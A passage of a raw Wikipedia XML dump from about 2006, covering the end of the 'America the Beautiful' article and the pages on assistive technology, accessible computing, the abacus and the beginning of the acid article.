At various times in the more than 100 years that have elapsed since the song as we know it was born, particularly during the [[John F. Kennedy]] administration, there have been efforts to give &quot;America the Beautiful&quot; legal status either as a national hymn, or as a national anthem equal to, or in place of, &quot;The Star-Spangled Banner&quot;, but so far this has not succeeded. Proponents prefer &quot;America the Beautiful&quot; for various reasons, saying it is easier to sing, more melodic, and more adaptable to new orchestrations while still remaining as easily recognizable as &quot;The Star-Spangled Banner.&quot; Some prefer &quot;America the Beautiful&quot; over &quot;The Star-Spangled Banner&quot; due to the latter's war-oriented imagery. (Others prefer &quot;The Star-Spangled Banner&quot; for the same reason.) While that national dichotomy has stymied any effort at changing the tradition of the national anthem, &quot;America the Beautiful&quot; continues to be held in high esteem by a large number of Americans.

Popularity of the song soared following the [[September 11, 2001 attacks]]; at some sporting events it was sung in addition to the traditional singing of the national anthem.

[[Ray Charles]] is credited with the song's most well known rendition in current times (although [[Elvis Presley]] had a good success with it in the 70´s). His recording is very commonly played at major sporting events, such as the [[Super Bowl]]. His unique take on it places the third verse first, after which he sings the usual first verse. In the third verse (see below), the author scolds the [[materialistic]] and self-serving [[robber baron]]s of her day, and urges America to live up to its noble ideals and to honor, with both word and deed, the memory of those who died for their country...a message that resonates just as strongly today.&lt;!-- Agreed.  Also see the entire set of 1913 lyrics (source listed below) where this antimaterialist, God-centered theme is repeated in one of the forgotten to most American's ears &quot;extra&quot; lyrics.  --&gt;

An amusing oddity of the song is that its meter (technically &quot;[[Common metre|common meter double]]&quot; or 8-6-8-6-8-6-8-6) is identical to that of ''[[Auld Lang Syne]]''. The two songs can be sung perfectly with lyrics interchanged.

==Lyrics==
Oh beautiful, for spacious skies,&lt;br /&gt;
For amber waves of grain,&lt;br /&gt;
For purple mountain majesties&lt;br /&gt;
Above the fruited plain!&lt;br /&gt;
''America! America!  God shed his grace on thee,''&lt;br /&gt;
''And crown thy good with brotherhood, from sea to shining sea.''&lt;br /&gt;&lt;br /&gt;

Oh beautiful, for pilgrims' feet&lt;br /&gt;
Whose stern, impassioned stress&lt;br /&gt;
A thoroughfare for freedom beat&lt;br /&gt;
Across the wilderness!&lt;br /&gt;
''America! America!  God mend thine ev'ry flaw;''&lt;br /&gt;
''Confirm thy soul in self control, thy liberty in law!''&lt;br /&gt;&lt;br /&gt;

Oh beautiful, for heroes proved&lt;br /&gt;
In liberating strife,&lt;br /&gt;
Who more than self their country loved&lt;br /&gt;
And mercy more than life!&lt;br /&gt;
''America! America!  May God thy gold refine,''&lt;br /&gt;
'''Til all success be nobleness, and ev'ry gain divine!''&lt;br /&gt;&lt;br /&gt;

Oh beautiful, for patriot's dream&lt;br /&gt;
That sees beyond the years!&lt;br /&gt;
Thine alabaster cities gleam&lt;br /&gt;
Undimmed by human tears!&lt;br /&gt;
''America! America!  God shed his grace on thee,''&lt;br /&gt;
''And crown thy good with brotherhood, from sea to shining sea!''

==Takeoffs==
A song as popular and familiar as &quot;America the Beautiful&quot; inevitably gets used out of its proper context or time frame, for humorous effect. As the song seems to have &quot;always been there&quot;, it is often presented as if [[Christopher Columbus]] had written it when he arrived at the [[New World]] (though in fact, Columbus never set foot on [[North America]]; all his voyages were to the [[Caribbean|Caribbean islands]], [[South America|South]] and [[Central America]]). Some examples:

*In 1971, the song inspired the cross-country [[Cannonball Baker Sea-To-Shining-Sea Memorial Trophy Dash]] race from New York to Los Angeles that later was the topic of several movies with [[Burt Reynolds]]

*A ''[[Far Side]]'' cartoon from 1982 (reprinted in Sherr's book) shows Columbus nearing land, with his crew of ''conquistador'' types, and saying, &quot;Look, gentlemen! Purple mountains! Spacious skies! Fruited plains! ... Is someone writing this down?&quot;

*In one of his comedy club routines in the early [[1960s]], [[Flip Wilson]] did a Columbus story with an African-American twist... ironically, the catchphrase repeated by Queen Isabel (an early &quot;Geraldine&quot;) is &quot;Chris gon' find Ray Charles!&quot;  When his Columbus sees land, he comments, &quot;It's America, all right... just look at those spacious skies... those amber waves of grain... dig that purple mountain's majesty... I'll bet there's fruit out there on the plain!&quot;

*In his satirical, musical [[record album]], ''The United States of America, Volume 1'', [[Stan Freberg]] plays Columbus, [[Jesse White (actor)|Jesse White]] plays a skeptical King Ferdinand, and [[Colleen Collins]] does Queen Isabella (mimicking [[Tallulah Bankhead]]), resulting in this bit of dialogue: [http://freberg.8m.com/text/usa1.html]

:Ferdinand: Look at him in that hat! Is that a crazy sailor? 
:Isabella: Crazy? I'll tell you how crazy! He's a man with a dream, a vision, a vision of a new world, whose alabaster cities gleam undimmed by human tears, with purple mountain majesties above the [[Two Cents Plain]] . . . 
:Ferdinand and Columbus: Fruited!
:Isabella: Fruited.

[[Mel Brooks]], on a talk show, once did an impression of how [[Frank Sinatra]] might sing the song, complete with tuxedo, black hat and coat, and cigarette, leaning up against a bar, and rendering the song in &quot;lounge style&quot;.

[[George Carlin]] performed a satirical version around 1970, when environmental issues were becoming a hot political topic: [http://www.creativequotations.com/one/1309b.htm]

:Oh beautiful, for smoggy skies, insecticided grain
:For strip-mined mountain's majesty above the asphalt plain.
:America, America, man sheds his waste on thee
:And hides the pines with billboard signs, from sea to oily sea!


[[Wellesley College]] students and alumnae tend to change &quot;brotherhood&quot; to &quot;SISTERhood&quot; in renditions of the song.

==Books==
[[Lynn Sherr]]'s 2001 book ''America the Beautiful'' discusses the origins of the song and the backgrounds of its authors in depth.  ISBN 1-58648-085-5.



== Sources/external links ==
*[http://www.fuzzylu.com/falmouth/bates/america.html 1913 Lyrics (eight stanzas)]
*[http://www.niehs.nih.gov/kids/lyrics/america.htm Lyrics (four stanzas)]
*[http://www.chime-o-wind.com/national.html A National Treasure]
*[http://web.archive.org/web/20040829074504/www.antlers.com/indexenter.html The Antlers Hotel/history: where Katherine Lee Bates penned ''America the Beautiful'']  (Click on &quot;History&quot; on the top left hand corner of index to access page)
*[http://www.cyberhymnal.org/htm/o/b/obfsskis.htm Midi file of ''America the Beautiful''  from The Cyber Hymnal]
*[http://www.tradoc.army.mil/band/multimedia/recordings/HeresToAmerica/AmericaTheBeautiful.mp3 MP3 of ''America The Beautiful'' as performed by the United States Continental Army Band]
{{American songs}}
[[Category:Patriotic songs]]
[[Category:Christian hymns]]</text>
    </revision>
  </page>
  <page>
    <title>Artificial language</title>
    <id>652</id>
    <revision>
      <id>15899179</id>
      <timestamp>2002-03-19T15:06:01Z</timestamp>
      <contributor>
        <username>Lee Daniel Crocker</username>
        <id>43</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Constructed language]]</text>
    </revision>
  </page>
  <page>
    <title>Assistive technology</title>
    <id>653</id>
    <revision>
      <id>40974795</id>
      <timestamp>2006-02-24T05:32:59Z</timestamp>
      <contributor>
        <username>Jmabel</username>
        <id>28107</id>
      </contributor>
      <comment>/* Assistive technology products */ spelling; simpler link for an article to be written</comment>
      <text xml:space="preserve">'''Assistive Technology''' (AT) is a generic term that includes assistive, adaptive, and rehabilitative devices and the process used in selecting, locating, and using them.  AT promotes greater independence for [[disability|people with disabilities]] by enabling them to perform tasks that they were formerly unable to accomplish, or had great difficulty accomplishing, by providing enhancements to or changed methods of interacting with the [[technology]] needed to accomplish such tasks. According to disability advocates,  technology, all too often, is created without regard to people with disabilities, and unnecessary barriers make new technology inaccessible to hundreds of millions.

Universal (or broadened) accessibility, or [[universal design]] means excellent [[usability]], particularly for people with disabilities.  But, argue advocates of assistive technology, universally accessible technology yields great rewards to the typical user; good accessible design ''is'' universal design, they say.  The classic example of an assistive technology that has improved everyone's life is the &quot;[[curb cut]]s&quot; in the sidewalk at street crossings.  While these curb cuts surely enable pedestrians with mobility impairments to cross the street, they have also aided parents with carriages and strollers, shoppers with carts, and travellers and workers with pull-type bags, not to mention [[skateboard]]ers and [[inline skate]]rs.

Consider an example of an assistive technology.  The modern [[telephone]] is, except for the deaf, universally accessible.  Combined with a [[Telecommunications devices for the deaf|text telephone]] (also known as a TDD [Telephone Device for the Deaf] and in the USA generally called a TTY[TeleTYpewriter]), which converts typed characters into tones that may be sent over the telephone line, the deaf person is able to communicate immediately at a distance.  Together with &quot;relay&quot; services (where an operator reads what the deaf person types and types what a hearing person says) the deaf person is then given access to everyone's telephone, not just those of people who possess text telephones.  Many telephones now have volume controls, which are primarily
intended for the benefit of people who are hard of hearing, but can be useful for all
users at times and places where there is significant background noise.

Another example: [[calculator]]s are cheap, but a person with a mobility impairment can have difficulty using them.  [[Speech recognition]] software could recognize short commands and make use of calculators a little easier.  People with cognitive disabilities would appreciate the simplicity; others would as well.

Toys which have been adapted to be used by children with disabilities, may have advantages for &quot;typical&quot; children as well. The [[Lekotek]] movement assists parents by lending assistive technology toys and expertise to families.

Telecare is a particular sort of assistive technology that uses electronic sensors connected to an alarm system to help caregivers manage risk and help vulnerable people stay independent at home longer.  A good example would be the systems being put in place for senior people such as fall detectors, thermometers (for [[hypothermia]] risk), flooding and unlit gas sensors (for people with mild [[dementia]]).  The principle being that these alerts can be customised to the particular person's risks.  When the alert is triggered, a message is sent to a carer or contact centre who can respond appropriately.  The range of sensors is wide and expanding rapidly.

Technology similar to Telecare can also be used to act within a person's home rather than just to respond to a detected crisis. Using one of the examples above, unlit gas sensors for people with dementia can be used to trigger a device that turns off the gas and tells someone what has happened. This is safer than just telling an external person that there is a problem.

Designing for people with dementia is a good example of where the design of the interface of a piece of assistive technology (AT) is critical to its usefulness. It is important to make sure that people with dementia or any other identified user group are involved in the design process to make sure that the design is accessible and useable. In the example above, a voice message could be used to remind the person with dementia to turn of the gas himself, but who's voice should be used, and what should the message say? Questions like these must be answered through user consultantion, involvement and evaluation.

==Assistive technology products==
*[[Standing frames]] support wheelchair users in a standing position, increasing their reach, as well as improving their health and self-esteem.
* [[Magnifier|Magnifiers]] magnify computer displays for people with some degree of [[Visual_impairment|visual impairment]].
* [[Sticky keys]], a feature of [[Microsoft Windows]] and [[Mac OS X]] operating systems allowing key combinations (such as Control-Alt-Delete) to be pressed in sequence rather than simultaneously.
* [[Screen reader|Screen readers]] allow blind people to use computers by communicating what is on the screen via speech or Braille.
* [[Refreshable Braille display]], used to convert on-screen text to Braille characters.
* [[Reading machine|Reading machines]] allow blind people to access printed material.
* [[Video Magnifier|CCTV (Closed Circuit Television) or Video Magnifier]], magnifies printed text for people with low vision.

==Further reading==

* Behrmann, M. &amp; Schaff, J.(2001). Assisting educators with assistive technology: Enabling children to achieve independence in living and learning. Children and Families 42(3), 24-28. 

* Bishop, J. (2003). The Internet for educating individuals with social impairments. Journal of Computer Assisted Learning 19(4), 546-556. Available as a free [http://www.jonathanbishop.com/publications/display.aspx?Item=9 download]

* Cain, S. (2001). Accessing Technology - Using technology to support the learning and employment opportunities for visually impaired users. Royal National Institute for the Blind. ISBN 1858785170.

* Cook, A., &amp; Hussey, S. (2002). Assistive Technologies - Principles and Practice, 2nd Edition. Mosby. ISBN 0323006434

* Franklin, K.S. (1991). Supported employment and assistive technology-A powerful partnership. In S.L. Griffin &amp; W.G. Revell (Eds.), Rehabilitation counselor desktop guide to supported employment. Richmond, VA : Virginia Commonwealth University Rehabilitation Research and Training Center on Supported Employment.

* Lahm, E., &amp; Morrissette, S. (1994, April). Zap 'em with assistive technology. Paper presented at the annual meeting of The Council for Exceptional Children, Denver, CO.

* Lee, C. (1999). Learning disabilities and assistive technologies; an emerging way to touch the future. Amherst, MA: McGowan Publications.

* McKeown, S. (2000). Unlocking Potential - How ICT can support children with special needs. The Questions Publishing Company Ltd. ISBN 1841900419

* Nisbet, P. &amp; Poon, P. (1998). Special Access Technology. The CALL Centre, University of Edinburgh. Available as a free [http://callcentre.education.ed.ac.uk/About_CALL/Publications_CAA/Books_CAB/SAT_CAC/sat_cac.html download] The CALL Centre. ISBN 189804211X

* Nisbet, P., Spooner, R., Arthur, E. &amp; Whittaker P. (1999). Supportive Writing Technology. The CALL Centre, University of Edinburgh. Available as a free [http://callcentre.education.ed.ac.uk/About_CALL/Publications_CAA/Books_CAB/Supp_Writing_CAC/supp_writing_cac.html download] The CALL Centre. ISBN 1898042136

* Rose, D. &amp; Meyer, A. (2000). Universal design for individual differences. Educational Leadership, 58(3), 39-43.

* Orpwood, R. Design methodology for aids for the disabled. J Med Eng Technol. 1990 Jan-Feb;14(1):2-10.  |   [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=2342081&amp;itool=iconabstr&amp;query_hl=2 PubMed ID: 2342081]

* Adlam, T. et al. The installation and support of internationally distributed equipment for people with dementia.&quot; IEEE transactions on information technology in biomedicine (1089-7771) yr:2004 vol:8 iss:3 pg:253-257  |  [http://ieeexplore.ieee.org/iel5/4233/29401/01331402.pdf download from IEEE (694k PDF)]

==External links==
* [http://www.afb.org/prodMain.asp Assistive Technology Product Database - American Foundation for the Blind]
* [http://www.afb.org/accessworld AccessWorld®: Technology and People with Visual Impairments]
* [http://www.ericdigests.org/1999-3/assistive.htm Integrating Assistive Technology into the Standard Curriculum]
* [http://www.ericdigests.org/2003-1/assistive.htm Assistive Technology for Students with Mild Disabilities]
* [http://www.ericdigests.org/1995-2/mild.htm Assistive Technology for Students with Mild Disabilities]
* [http://www.inclusive.co.uk/infosite/snhome.shtml Inclusive Technology (Special Needs Articles and Information pages)]

=== European organisations for assistive technology ===
* [http://www.aaate.net/index.asp?auto-redirect=true&amp;accept-initial-profile=standard The Association for the Advancement of Assistive Technology in Europe (AAATE)]

=== UK-based organisations for assistive technology ===
* [http://www.aidis.org/ The Aidis Trust]
* [http://www.dlf.org.uk/ The Disabled Living Foundation]
* [http://www.abilitynet.org.uk/ AbilityNet]
* [http://callcentre.education.ed.ac.uk/ The CALL Centre]
* [http://www.communicationmatters.org.uk/ Communication Matters]
* [http://www.fastuk.org/ FAST (Research and Development, Organisations, Events and Jobs)] including [http://www.fastuk.org/atforum.php Assistive Technology (AT) Forum]
* [http://atp.nlb-online.org/Lessons/p_00.php National Library for the Blind (Access Technology Primer)]
* [http://www.rnib.org.uk/technology RNIB (Technology Information Service)]
* [http://www.rnid.org.uk/html/information/technology/home.htm RNID (Technology)]
* [http://www.icesdoh.org/article.asp?page=156 UK Dept of Health page on telecare]
* [http://www.ace-centre.org.uk/  The ACE Centres]
* [http://www.bime.org.uk/ Bath Institute of Medical Engineering (BIME).] A medical engineering design and development charity.

=== North American organizations for assistive technology ===
* [http://www.resna.org/ Rehabilitation Engineering &amp; Assistive Technology Society of North America]
* [http://www.abledata.com/ ABLEDATA Global database of AT and Rehab products]
* [http://www.ataccess.org/ The Alliance for Technology Access]
* [http://www.atia.org/ Assistive Technology Industry Association]
* [http://www.fctd.info/ The Family Center on Technology and Disability]

[[Category:Accessibility]]
[[Category:Assistive technology]]
[[Category:disability]]
[[Category:Educational technology]]

[[de:Hilfsmittel (Rehabilitation)]]</text>
    </revision>
  </page>
  <page>
    <title>Accessible computing</title>
    <id>654</id>
    <revision>
      <id>30764945</id>
      <timestamp>2005-12-09T23:02:07Z</timestamp>
      <contributor>
        <username>CLW</username>
        <id>346386</id>
      </contributor>
      <minor />
      <comment>[[:en:Wikipedia:Tools/Navigation_popups|Popups]]-assisted redirection bypass from [[Assistive Technology]] to [[Assistive_technology]]</comment>
      <text xml:space="preserve">'''Accessible computing''' covers
* [[Assistive_technology|Assistive Technology]]
* [[Accessible Software]]
* [[Accessible Web]]
* [[Legal Issues In Accessible Computing]]
** United States
***  [[Private Lawsuits]]
***  [[Section 508 Amendment to the Rehabilitation Act of 1973]]

{{compu-stub}}

[[Category:Accessibility]]
[[Category:Assistive technology]]
[[Category:Human-computer interaction]]</text>
    </revision>
  </page>
  <page>
    <title>Abacus</title>
    <id>655</id>
    <revision>
      <id>42021696</id>
      <timestamp>2006-03-03T07:12:11Z</timestamp>
      <contributor>
        <ip>203.113.67.71</ip>
      </contributor>
      <comment>th</comment>
      <text xml:space="preserve">{{about|the calculator|the flat slab at the top of a column|[[abacus (architecture)]]}}
An '''abacus''' is a calculation tool, often constructed as a wooden frame with beads sliding on wires.  It was in use centuries before the adoption of the written [[Hindu-Arabic numeral system]] and is still widely used by merchants and clerks in [[China]] and elsewhere.

The origins of the abacus are disputed, suggestions including invention in [[Babylonia]] and in [[China]], to have taken place between 2400 BC and 300 BC. The first abacus was almost certainly based on a flat stone covered with sand or dust.  Lines were drawn in the sand and pebbles used to aid calculations. From this, a variety of abaci were developed;  the most popular were based on the bi-quinary system, using a combination of two bases (base-2 and base-5) to represent decimal numbers

The use of the word ''abacus'' dates back to before 1387 when a [[Middle English]] work borrowed the word from [[Latin]] to describe a sandboard abacus. The Latin word came from ''abakos'', the [[Greek language|Greek]] [[Genitive case|genitive form]] of ''abax'' (&quot;calculating-table&quot;). Because ''abax'' also had the sense of &quot;table sprinkled with sand or dust, used for drawing geometric figures,&quot; it is speculated by some linguists that the Greek word may be derived from a [[Semitic languages|Semitic]] [[Root (philology)|root]], ''ābāq'', the [[Hebrew language|Hebrew]] word for &quot;dust.&quot;  Though details of the transmission are obscure, it may also be derived from the [[Phoenician]] word ''abak'', meaning &quot;sand&quot;. The plural of abacus is abaci.

== Babylonian abacus ==
{{Main|Babylonian abacus}}
A tablet found on the island of Salamis (near Greece) in 1846 dates back to the Babylonians of 300 BC making it the oldest counting board discovered so far. It was originally thought to be a gaming board. 

Its construction is a slab of white marble measuring 149cm in length, 75cm in width and 4.5cm thick, on which are 5 groups of markings. In the center of the tablet are a set of 5 parallel lines equally divided by a vertical line, capped with a semi-circle at the intersection of the bottom-most horizontal line and the single vertical line. Below these lines is a wide space with a horizontal crack dividing it. Below this crack is another group of eleven parallel lines, again divided into two sections by a line perpendicular to them but with the semi-circle at the top of the intersection; the third, sixth and ninth of these lines are marked with a cross where they intersect with the vertical line.

== Roman abacus ==
{{Main|Roman abacus}}
[[image:RomanAbacusRecon.jpg|right|Reconstruction of Roman Abacus]] 
  &lt;!-- This image is a 2004 photograph of the Mainz reconstruction of the 
  original in the Paris Library.  It gives a much clearer picture that the 
  device is not beads on wires than the drawing used in this entry earlier.  
  If we are only allowed one image then this is the better to use.    
  [[User:Mfc|mfc]] --&gt;

The [[Roman Empire|Late Empire]] [[Roman abacus]] shown here in reconstruction contains eight long and eight shorter grooves, the former having up to five beads in each and the latter one.

The groove marked I indicates units, X tens, and so on up to millions.  The beads in the shorter grooves denote fives&amp;mdash;five units, five tens, ''etc.'', essentially in a [[bi-quinary coded decimal]] system, obviously related to the [[Roman numerals]].  The short grooves on the right may have been used for marking Roman ounces.

Computations are made by means of beads which would probably have been slid up and down the grooves to indicate the value of each column.

==Chinese abacus==
{{Main|Chinese abacus}}
The '''suanpan''' ({{zh-stp|s=&amp;#31639;&amp;#30424;|t=&amp;#31639;&amp;#30436;|p=su&amp;agrave;np&amp;aacute;n}}) of the [[China|Chinese]] is similar to the Roman abacus in principle, though has a different construction, and it was designed to do both decimal and hexadecimal arithmetics.

[[image:abacus_6.png|right|Chinese abacus, the suanpan]]
The Chinese abacus is typically around 20 cm (8 inches) tall and it comes in various widths depending on the application.  It usually has more than seven rods.  There are two beads on each rod in the upper deck and five beads each in the bottom for both decimal and hexadecimal computation.  The beads are usually rounded and made of a hard wood.  The beads are counted by moving them up or down towards the beam.  The abacus can be reset to the starting position instantly by a quick jerk along the horizontal axis to spin all the beads away from the horizontal beam at the center. 

Chinese abaci can be used for functions other than counting.  Unlike the simple counting board used in elementary schools, very efficient suanpan techniques have been developed to do [[multiplication]], [[division (mathematics)|division]], [[addition]], [[subtraction]], [[square root]] and [[cube root]] operations at high speed.

'''Bead arithmetic''' is the calculating technique used with various types of abaci, in particular the Chinese abacus.

== Japanese abacus (Soroban) ==
The Japanese eliminated (first) one bead from the upper deck and (later) another bead from the lower deck in each column of the Chinese abacus. The Japanese also eliminated the use of Qiuchu (Chinese division table).  The method of Chinese division table was still used when there were 5 lower beads.  There came the war of the Multiplication Table versus the Division Table.  The school of Multiplication table prevailed in 1920s.  The rods (number of digits) increase to usually 21, 23, 27 or even 31, thus allowing calculation for more digits.

Soroban is taught in elementary schools as a part of lessons in mathematics. When teaching the soroban, a song-like instruction is given by the tutor. The soroban is about 8 cm (3 inches) tall.  The beads on a soroban are usually shaped as a double cone (bi-cone) to facilitate ease of movement.

Often, primary students may bring along with them two sorobans, one with 1 upper bead and 5 lower beads, the other with 1 upper bead with 4 lower beads, when they learn soroban in school.

The size of beads of soroban is standardized, and they come in two types: the &quot;Japanese&quot; classified soroban for native Japanese, and a separate size for foreigners (since Westerners tend to be larger than most Japanese, and therefore have larger hands and fingers).  The soroban that are for foreigners are made with a plastic pipe on both the left and right side of the frame, while ones made for native Japanese were all made with wooden frames. In this way the &quot;thickness&quot; of the soroban (for foreigners) is higher, rendering it easier for the non-Japanese to manipulate.



&lt;center&gt;[[Image:Soroban.JPG|none|thumb|400px|Japanese soroban]]&lt;/center&gt;

== Russian abacus ==
[[Image:Schoty_abacus.jpg|thumb|Russian abacus]]
The Russian abacus, the [[schoty]] or sjotty (&amp;#1089;&amp;#1095;&amp;#1105;&amp;#1090;&amp;#1099;), usually has a single slanted deck, with ten beads on each wire (except one wire which has four, and acts as a separator or for fractions). This wire is usually near the user. The Russian abacus is often used vertically, with wires from left to right in the manner of a book. The wires are usually bowed to bulge upward in the center, in order to keep the beads pinned to either of the two sides. It is cleared when all the beads are moved to the right. During manipulation, beads are moved to the left. For easy viewing, the middle 2 beads on each wire (the 5th and 6th bead) usually have a colour different to the other 8 beads. Likewise, the left bead of the thousands wire (and the million wire, if present) may have a different color.

The Russian abacus is still in common use today in shops and markets throughout the [[Commonwealth of Independent States|former Soviet Union]], although it is no longer taught in most schools.

== School abacus ==
[[Image:Kugleramme.jpg|right|150px|thumb|School abacus used in Danish elementary school. Early 20th century.]] 

Around the world, abaci have been used in pre-schools and elementary schools as an aid in teaching arithmetics. In Western countries, a '''bead frame''' similar to the Russian abacus but with straight wires has been common (see image). It is still often seen as a plastic or wooden toy.

== Uses by the visually impaired ==
Abaci are still commonly used by individuals who have [[blindness|visual impairments]].  They use an abacus to perform the mathematical functions [[multiplication]], [[division (mathematics)|division]], [[addition]], [[subtraction]], [[square root]] and [[cubic root]].  A piece of soft fabric or rubber is placed behind the beads so that they don't move inadvertently.  This keeps the beads in place while the user feels or manipulates them.

Recently, abaci have been replaced to some extent by electronic calculators with speech, but only in those countries where they are easily available and affordable.  However, even when they are available, many visually impaired people still prefer to use the abacus.  In addition, many blind children are required to learn how to use the abacus before they are permitted the use of a talking calculator or similar device.  This can be compared to sighted children being required to learn how to solve mathematical problems on paper before they are allowed the use of a calculator.

== Native American abacus ==
Some sources mention the use of an abacus called a ''Nepohualtzintzin'' in ancient Mayan culture. This Mesoamerican abacus uses the 5-digit base-20 [[Mayan numerals|Mayan numeral]] system.

The [[khipu]] of the [[Inka]]s was a system of knotted cords used to record numerical data - like advanced [[tally stick]]s&amp;mdash;but was not used to perform calculations.

== See also ==
* [[Chisenbop]]
* [[Slide rule]]
* [[Napier's bones]]
* [[History of computing]]
* [[History of computing hardware]]
* [[Abacus logic]]
* [[Abacus system | Mental abacus]]
* [[Positional notation]]

==External links==
{{Wikisource1911Enc|Abacus}}
{{Commons|Abacus}}

===General and historical articles===
*[http://www.abacus.ca/abacus-images.php Abacus Photos and Images]
*[http://www.ee.ryerson.ca/~elf/abacus/ Abacus]
*[http://penelope.uchicago.edu/Thayer/E/Roman/Texts/secondary/SMIGRA*/Abacus.html#4 Roman abacus]

===Tutorials===
&lt;!-- in alphabetical order by author --&gt;
* [http://www.gis.net/~daveber/Abacus/Abacus.htm Bernazzani's Soroban Abacus Handbook]
* [http://www.minmm.com/minc/show_classes.php?id=273 Min Multimedia]
* [http://www.sungwh.freeserve.co.uk/sapienti/abacus01.htm Suan Pan]
* [http://webhome.idirect.com/~totton/abacus/ Abacus: Mystery of the Bead - an Abacus Manual]

===Abacus curiosities===
* [http://www.cut-the-knot.org/blue/Abacus.shtml Abacus in Various Number Systems] at [[cut-the-knot]]
*[http://www.tux.org/~bagleyd/abacus.html Java applet of Chinese, Japanese and Russian abaci]
*[http://www.research.ibm.com/atomic/nano/roomtemp.html An atomic-scale abacus]

[[Category:Ancient Rome]]
[[Category:Mathematical tools]]
[[Category:Mechanical calculators]]

[[af:Abakus]]
[[ar:أباكوس]]
[[be:Абак]]
[[ca:Àbac]]
[[cs:Abakus]]
[[da:Abacus (regnemaskine)]]
[[de:Abakus (Rechentafel)]]
[[el:Άβακας]]
[[es:Ábaco]]
[[eo:Abako]]
[[fa:چرتکه]]
[[fr:Boulier]]
[[gl:Ábaco]]
[[ia:Abaco]]
[[it:Abaco]]
[[he:חשבונייה]]
[[hu:Abakusz]]
[[nah:Nepohualtzintzin]]
[[nl:Abacus]]
[[ja:そろばん]]
[[pl:Abakus (liczydło)]]
[[pt:Ábaco]]
[[ru:Абак]]
[[sl:Abak]]
[[fi:Helmitaulu]]
[[sv:Abakus]]
[[tl:Abakus]]
[[ta:எண்சட்டம்]]
[[th:ลูกคิด]]
[[tr:Abaküs]]
[[zh:算盘]]</text>
    </revision>
  </page>
  <page>
    <title>Acid</title>
    <id>656</id>
    <revision>
      <id>42117662</id>
      <timestamp>2006-03-03T23:03:46Z</timestamp>
      <contributor>
        <username>Hashbrowncipher</username>
        <id>592332</id>
      </contributor>
      <comment>Replaced false arab etymology</comment>
      <text xml:space="preserve">{{mergefrom|strong acid}}
{{Acids and Bases}}
{{otheruses}}
{{For|the cyber novellete by Nadeem Parachee|Acidity (Novelette)}}

An '''acid''' (often represented by the generic formula '''HA''') is a water-soluble, sour-tasting [[chemical compound]] that when dissolved in [[water]], gives a solution with a [[pH]] of less than 7. 

== Definitions of acids and bases ==

The word &quot;acid&quot; comes from the [[Latin]] ''acidus'' meaning &quot;sour&quot;, but in [[chemistry]] the term acid has a more specific meaning.  There are three common [[Acid-base reaction theories|ways to define an acid]], namely, the '''Arrhenius''', the '''Brønsted-Lowry''' and the '''Lewis''' definitions, in order of increasing generality.

* '''Arrhenius''': According to this definition, an acid is a substance that increases the concentration of hydronium ion (H&lt;sub&gt;3&lt;/sub&gt;O&lt;sup&gt;+&lt;/sup&gt;) when dissolved in water, while bases are substances that increase the concentration of hydroxide ions (OH&lt;sup&gt;-&lt;/sup&gt;).  This definition limits acids and bases to substances that can dissolve in water.  Around 1800, many [[France|French]] chemists, including [[Antoine Lavoisier]], incorrectly believed that all acids contained [[oxygen]]. [[England|English]] chemists, including [[Sir Humphry Davy]] at the same time believed all acids contained hydrogen. The [[Sweden|Swedish]] chemist [[Svante Arrhenius]] used this belief to develop this definition of acid.

* '''Brønsted-Lowry''': According to this definition, an acid is a [[proton]] donor and a base is a proton acceptor. The acid is said to be dissociated after the proton is donated.  An acid and the corresponding base are referred to conjugate acid-base pairs.  [[Johannes Nicolaus Brønsted|Brønsted]] and [[Martin Lowry|Lowry]] formulated this definition, which includes water-insoluble substances not in the Arrhenius definition. 

* '''Lewis''': According to this definition, an acid as an electron-pair acceptor and a base is an electron-pair donor.  (These are frequently referred to as &quot;[[Lewis acid]]s&quot; and &quot;[[Lewis base]]s,&quot; and are [[electrophile]]s and [[nucleophile]]s in [[organic chemistry]]).  Lewis acids include substances with no [[protons]], such as [[iron(III) chloride]].  The Lewis definition can also be explained with [[molecular orbital]] theory. In general, an acid can receive an electron pair in its lowest unoccupied orbital ([[LUMO]]) from the highest occupied orbital ([[HOMO]]) of a base.  That is, the HOMO from the base and the LUMO from the acid combine to a bonding [[molecular orbital]].  This definition was developed by [[Gilbert N. Lewis]].

Although not the most general theory, the Brønsted-Lowry definition is the most widely used definition.  The strength of an acid may be understood by this defintion by the stability of [[hydronium]] and the solvated conjugate base upon dissociation.  Increasing stability of the the conjugate base will increase the acidity of a compound.  This concept of acidity is used frequently for organic acids such as [[carboxylic acid]].  The molecular orbital description, where the unfilled proton orbital overlaps with a lone pair, is connected to the Lewis definition.

Solutions of weak acids and salts of their conjugate bases form [[buffer solution]]s.

Acid/base systems are different from [[redox]] reactions in that there is no change in oxidation state.

Generally, acids have the following chemical and physical properties:
* '''Taste''': Acids generally are sour when dissolved in water.
* '''Touch''': Acids produce a stinging feeling, particularly strong acids.
* '''Reactivity''': Acids react aggressively with or corrode  most [[metal]]s. 
* '''Electrical conductivity''': Acids are [[electrolyte]]s.

[[Strong acid]]s are dangerous, causing severe burns for even minor contact. Generally, acid burns are treated by rinsing the affected area abundantly with water and followed up with immediate medical attention.

== Nomenclature ==

Acids are named according to the ending of their [[anion]]. That ionic ending is dropped and replaced with a new suffix according to the table below. For example, HCl has chloride as its anion, so the -ide suffix makes it take the form hydrochloric acid.
{| border=&quot;1&quot; cellpadding=&quot;4&quot; align=&quot;center&quot; cellspacing=&quot;0&quot; style=&quot;background: #f9f9f9; color: black; border: 1px #aaa solid; border-collapse: collapse;&quot;
!Anion Ending
!Acid Prefix
!Acid Suffix
|-
|per-anion-ate
|per
|ic acid
|-
|ate
|
|ic acid
|-
|ite
|
|ous acid
|-
|hypo-anion-ite
|hypo
|ous acid
|-
|ide
|Hydro
|ic acid
|}


== Chemical characteristics ==

In water the following [[Chemical equilibrium|equilibrium]] occurs between an acid (HA) and water, which acts as a base:

HA(aq) {{unicode|&amp;#8652;}} H&lt;sub&gt;3&lt;/sub&gt;O&lt;sup&gt;+&lt;/sup&gt;(aq) + A&lt;sup&gt;-&lt;/sup&gt;(aq)

The [[acidity constant]] (or acid dissociation constant) is the equilibrium constant for the reaction of HA with water:

:&lt;math&gt;K_a = {[\mbox{H}_3\mbox{O}^+]\cdot[A^-] \over [HA]}&lt;/math&gt;

